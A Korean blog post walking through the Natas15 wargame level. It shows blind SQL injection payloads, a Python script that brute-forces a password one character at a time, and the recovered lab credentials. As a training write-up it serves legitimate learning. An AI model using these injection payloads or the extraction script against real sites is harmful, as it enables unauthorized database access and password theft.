메뉴 건너뛰기

노루발의 개인 게시판

이번에는 Username이 존재하는지 확인해주는 페이지다. 소스코드를 보자:


먼저 다음 테이블이 있다고 가정한다.

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


username과 password 값을 알아내야 하는 것 같다. form의 쿼리는 다음과 같다:

SELECT * from users where username="입력값"


쿼리 결과가 1개 이상 존재한다면 This user exists를, 그렇지 않다면 This user doesn't exist를 표기한다.


만약 다음과 같은 쿼리를 넣는다면?

SELECT * from users where username="" or length(username)=1

SELECT * from users where username="" or length(username)=2

SELECT * from users where username="" or length(username)=3

...


username이 일정 글자가 될 때 쿼리 그 결과를 가져올 것이므로 username의 길이를 알아낼 수 있을 것이다.

Username 필드에 다음 값을 입력해보자:

" or length(username)=1 #

위의 값을 입력한다면 다음과 같은 쿼리가 실행된다:

SELECT * from users where username="" or length(username)=1 #"

username이 공백이거나 길이가 1일 때 결과를 가져오게 된다. (# 이후는 주석이므로 무시된다.)


" or length(username)=1 #

" or length(username)=2 #

" or length(username)=3 #

...

3글자와 7글자가 입력되었을 때 user가 존재한다고 한다.

3글자 username은 sam이나 bob 같은 이름일 것이고, 7글자 username이 무엇이 있을까 생각하다가

혹시 natas16이 있지 않을까? 생각하고 Username 필드애 natas16을 입력해보니 존재하는 유저라고 한다.


이제 같은 원리로 natas16의 password를 알아내보자.

일단은 password의 길이부터 알아보자... 그런데 Natas 문제 14개를 앞서 풀면서 우리는 각 natas 계정의 비밀번호는 32자리의 랜덤한 문자열임을 경험으로 알고 있다. 그래서 다음과 같은 값을 입력하여 아래의 쿼리를 실행하였다:


natas16" and length(password)=32 #

SELECT * from users where username="natas16" and length(password)=32 #"

This user exists가 출력되는 것으로 보아 natas16 계정의 password가 32글자임을 알 수 있다.


이제 32자리의 패스워드를 알아내야 하는데...

내가 생각한 방법으로는

natas16" and password like "a%" #

natas16" and password like "b%" #

natas16" and password like "c%" #

natas16" and password like "d%" #

...

이런 쿼리를 순차적으로 보내다가 언젠가 패스워드의 첫번째 글자가 맞으면 This user exists가 뜰 것이고

만약 패스워드 첫번째 글자가 w라면

natas16" and password like "wa%" #

natas16" and password like "wb%" #

natas16" and password like "wc%" #

natas16" and password like "wd%" #

...

이런 식으로 두번째 글자를 유추하는 방식으로 query를 계속 날리면 언젠가 password를 알아낼 수 있을 것이다.


손으로 하기에는 빡센 작업이니 python 스크립트를 작성해주자.

requests 라이브러리를 사용하므로 pip install requests 명령어를 실행해야 정상적으로 작동한다.


import requests

password = ""
chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]


for a in range(0, 32) :
    for b, in chars:
        print("Trying " + password + b + " as password...")
        postdata = {'username': 'natas16" and password like "' + password + b + '%" #'}
        r = requests.post('http://natas15.natas.labs.overthewire.org/', auth=('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=postdata)
        if "exists" in r.text:
            password = password + b
            break


결과값을 확인하니 패스워드가 온통 소문자다... 대소문자를 구분을 안 하나보다...

수동으로 쿼리를 넣어서 확인하니 확실하다...


natas16" and password like binary "a%" #

natas16" and password like binary "A%" #

위와 같이 binary 구문을 사용해야 대소문자를 구분할 수 있다고 한다...


        postdata = {'username': 'natas16" and password like binary "' + password + b + '%" #'}


코드를 위와 같이 수정해서 돌리면 natas16의 비밀번호를 얻을 수 있다...

마지막으로 얻은 password가 맞는지 다음 query를 날려서 확인해주자:


natas16" and password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" #

분류 :
망한거
조회 수 :
21
등록일 :
2020.03.11
00:06:26 (*.47.15.90)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818078
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 조회 수 추천 수 날짜
56 기행 제 68회 유라시아 비즈니스 인사이트 다녀왔습니다. file 노루발 2   2025-06-26
한러비즈니스협의회에서 주관하는 유라시아 비즈니스 인사이트에 다녀왔습니다. 이번이 68회로, 저는 처음으로 참석하게 되었습니다. 감사하게도 참가비가 무료이며 간단한 석식(김밥)까지 협회측에서 지원해 주셨습니다. 세미나는 3가지의 섹션으로 이루어져...  
55 오토바이 노루발 오토바이 깔은 이야기 3일차~8일차 file 노루발 49   2023-10-12
3일차 병원에 다녀온 다음 회사에 갔습니다. 다친 뒤로는 부모님이 모셔다 주셔서 원숭이 손에 "편하게 출퇴근을 하고 싶어요" 하고 빌었더니 이루어진 느낌이 들었습니다. 그리고 역시 아프면 불효자라는 생각이 들었습니다. 그렇게 엄청 아프진 않았습니다. ...  
54 오토바이 노루발 오토바이 깔은 이야기 1일차+2일차 [2] file 노루발 98   2023-10-11
오토바이를 타면 무조건 중상을 입거나 죽는다는 편향적인 통념을 재생산하려는 의도나 스스로의 귀책으로 발생한 사고로 익명의 사람들에게서 관심이나 동정을 얻고자 하는 이유가 아닌 작성자가 일으킨 사고에 대해 기록하고 돌아보며 후일 본인이 동일한 잘...  
53 오토바이 노루발 2종 소형 면허 따는 이야기 [4] 노루발 35   2023-09-21
한 n년만 젊었으면 만화로 그렸을텐데 귀찮고 품이 많이 들어서 그냥 글로 씁니다. 여름이 끝나가고 날씨가 풀리니 슬슬 오토바이 생각이 다시 났습니다. 마음 먹으면(마음 먹기가 힘들어서 그렇지) 어디든(이륜차 출입금지인 도로는 제외하고) 갈 수 있다는 ...  
52 기타 Holo house의 미니멀한 농장겜 요소들 노루발 44   2023-08-31
Holocure! 라는 게임에 Holo house라는 요소가 추가되었다. 낚시나 농사 등의 생산활동을 하고 이것저것 할 수 있는 모드인데 쉽게 말해 미니멀한 농장게임이다. 해 보니 꽤 중독성이 있어서 간단하게 요소들을 분석해본다. 구조 재화 (골드) 자원 (작물, 물고...  
51 기타 부족전쟁 122 서버 아웃라인 secret 노루발 1   2021-07-25
비밀글입니다.  
50 오토바이 고속 찐빠 해결 / 윙카&포크부츠 교체 [2] file 노루발 368   2020-05-31
일전에 냉간시에 시동이 일발로 걸리지 않아 오토바이 센터에서 캬브레이터 조정을 받은 뒤로 고속(60km/h 이상)에서 스로틀을 끝까지 감으면 RPM이 떨어지는 현상이 발생했었습니다. 이게 뭣 때문인지... 인터넷에서 검색해보니까 캬브레타의 문제다... 공기...  
49 오토바이 오토바이 캬브레타 청소 [1] 노루발 370   2020-05-17
https://m.blog.naver.com/PostView.nhn?blogId=saver000&logNo=221561439234 https://m.cafe.daum.net/eoulsure/2yEb/56?q=D_NDw9YLyzaEM0& https://m.blog.naver.com/PostView.nhn?blogId=auprea&logNo=220731978275  
48 오토바이 NGK 점화플러그 품번에 따른 특성 [3] file 노루발 99   2020-05-07
 
47 망한거 (스포일러) Natas24 풀이 노루발 48   2020-03-19
오랫만의 Natas 풀이입니다. 어려워져서 좀 늦었네요. 접속하면 en/de 메뉴가 있고, 각 언어로 작성된 파일들을 보여준다. 소스 코드를 보면 통채로 파일을 include 해오는 것을 볼 수 있다: function safeinclude($filename){ // check for directory travers...  
46 망한거 (스포일러) Natas24 풀이 노루발 19   2020-03-17
이번에도 password를 입력해야 한다. 소스를 보자: if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored...  
45 망한거 (스포일러) Natas23 풀이 노루발 16   2020-03-13
Password를 입력하면 Natas24의 password가 나오는 구조다: <?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"...  
44 망한거 (스포일러) Natas22 풀이 노루발 10   2020-03-13
이번 페이지에는 아무것도 없다. 소스를 보자: <? if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?> GET으로...  
43 망한거 (스포일러) Natas21 풀이 노루발 13   2020-03-13
이번에는 사이트가 2개이다: http://natas21.natas.labs.overthewire.org/ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for ...  
42 망한거 (스포일러) Natas20 풀이 노루발 16   2020-03-13
이번에는 로그인 폼이 아니라 이름을 바꾸는 폼이 있다. 소스를 보자: session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage"); session_start(); PHP의 기본 세션 핸들링 함수가 아니라 사용자가 정의한 함수로 동...  
41 망한거 (스포일러) Natas19 풀이 노루발 14   2020-03-13
This page uses mostly the same code as the previous level, but session IDs are no longer sequential... 세션 아이디가 숫자로 되어있지 않다는 뜻인가보다. 임의의 아이디로 로그인해서 세션 아이디가 어떻게 되어있나 보자: PHPSSID=3138362d ...? 일단...  
40 망한거 (스포일러) Natas18 풀이 노루발 9   2020-03-12
로그인창이 있고, admin 계정으로 로그인해야 한다. 소스를 보자: $showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_RE...  
39 망한거 (스포일러) Natas17 풀이 노루발 16   2020-03-12
Natas15의 재탕이다. 소스를 보고 어떻게 꼬아놓았는지 알아보자: $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Err...  
38 망한거 (스포일러) Natas16 풀이 노루발 18   2020-03-12
Natas10의 재탕이다. 하지만 필터링을 좀 더 빡세게 한다: if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ;, | , " 등의 문자들도 ...  
» 망한거 (스포일러) Natas15 풀이 노루발 21   2020-03-11
이번에는 Username이 존재하는지 확인해주는 페이지다. 소스코드를 보자: 먼저 다음 테이블이 있다고 가정한다. /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ username과 password 값을 알아내...